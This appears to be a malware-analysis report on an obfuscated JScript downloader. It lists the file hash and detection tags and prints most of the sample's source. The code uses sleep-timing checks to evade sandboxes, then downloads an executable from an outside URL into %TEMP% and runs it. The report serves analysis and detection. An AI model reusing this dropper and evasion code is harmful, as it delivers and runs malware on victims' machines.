20160328_0ec46b6f9983af7bd424c529fa0b2a7c.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2563efaf2656746dad7f7337d630081da5ff93cb25e0dbcc4b52250d21645c913ed
Evidence
1var Hrjhqvfl = false;
2var Wncms = "CreateObject";
3var Qceiy = function Qdkcpv() {return WScript[Wncms]("WScript.Shell");}();
4var Rshmiw = 123213;
5var Ulbojoda = "MSXML2.XMLHTTP";
6var Xyrwssk = 2123213;
7var Qrujh = 0;
8function Ujoxhm(Hzqhvt){Qceiy["Run"](Hzqhvt, Qrujh, Qrujh);};
9function Fdknq(){return Ulbojoda;};
10function Cueuynlqzy(Pllhsevd, Qiswhz){return Pllhsevd - Qiswhz;};
11function Kqxzpgnkj(){return Wncms;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Hrjhqvfl = true;
15 @end
16@*/
17var Otunw = "";
18if (Hrjhqvfl)
19{
20function Bttyptpros(){return 22;};
21var Vxpkjvth = 0; var Iqlpqbnmz = 0;
22function Fvpolvax()
23{
24var Oufgxyyq = new this["Date"]();
25var Mspizpjbwj = Oufgxyyq["getUTCMilliseconds"]();
26WScript["Sleep"](Bttyptpros());
27var Oufgxyyq = new this["Date"]();
28var Gmqyuchxg = Oufgxyyq["getUTCMilliseconds"]();
29WScript["Sleep"](Bttyptpros());
30var Oufgxyyq = new this["Date"]();
31var Rtckuqofsc = Oufgxyyq["getUTCMilliseconds"]();
32var Vxpkjvth = "Zytjdm";
33Vxpkjvth = Cueuynlqzy(Gmqyuchxg, Mspizpjbwj);
34var Iqlpqbnmz = "Auipckctmw";
35Iqlpqbnmz = Cueuynlqzy(Rtckuqofsc, Gmqyuchxg);
36Otunw = "open";
37return Cueuynlqzy(Vxpkjvth, Iqlpqbnmz);
38}
39var Inssweeob = false;
40var Btzdrzsmgs = false;
41for (var Ukbfqjx = Qrujh; Ukbfqjx < Bttyptpros() * 1; Ukbfqjx++){if (Fvpolvax() != Qrujh){
42Inssweeob …
49:12… ob && Uejgypqi() && Btzdrzsmgs){
50function Cstxhqdqbq() {return Qceiy["ExpandEnvironmentStrings"]("%TEMP%/") + "x6pS3yMapkEBh.exe";};
51 Iyvnb = Fdknq();
52 Cnfxuqg = WScript[Wncms](Iyvnb);
53 var Lznqmwtmpn = 1;
54 while (Lznqmwtmpn){
55try {
56Cnfxuqg[Otunw]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Cnfxuqg["send"]();
58Jdeomcm = "Sleep";
59do {WScript[Jdeomcm](Bttyptpros() * 11)} while (Cnfxuqg["readystate"] < 4 );
60Lznqmwtmpn = Qrujh;
61} catch(Xkfpbllcg){Lznqmwtmpn = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Sqyhbwn(Hlcoclvnu) {var Gosbs = (1, 2, 3, 4, 5, Hlcoclvnu); return Gosbs;};
64Dqkdvdims = WScript[Kqxzpgnkj()]("ADODB.Stream");
65Iyvnb = Dqkdvdims;
66Iyvnb[Otunw]();
67Iyvnb["type"] = Sqyhbwn(1);
68Iyvnb["write"](Cnfxuqg["ResponseBody"]);
69Dqkdvdims["position"] = Sqyhbwn(Qrujh);
70Iyvnb["SaveToFile"](Cstxhqdqbq(), Sqyhbwn(2) );
71Dqkdvdims["close"]();
72Ujoxhm(Cstxhqdqbq());
73}
74}
75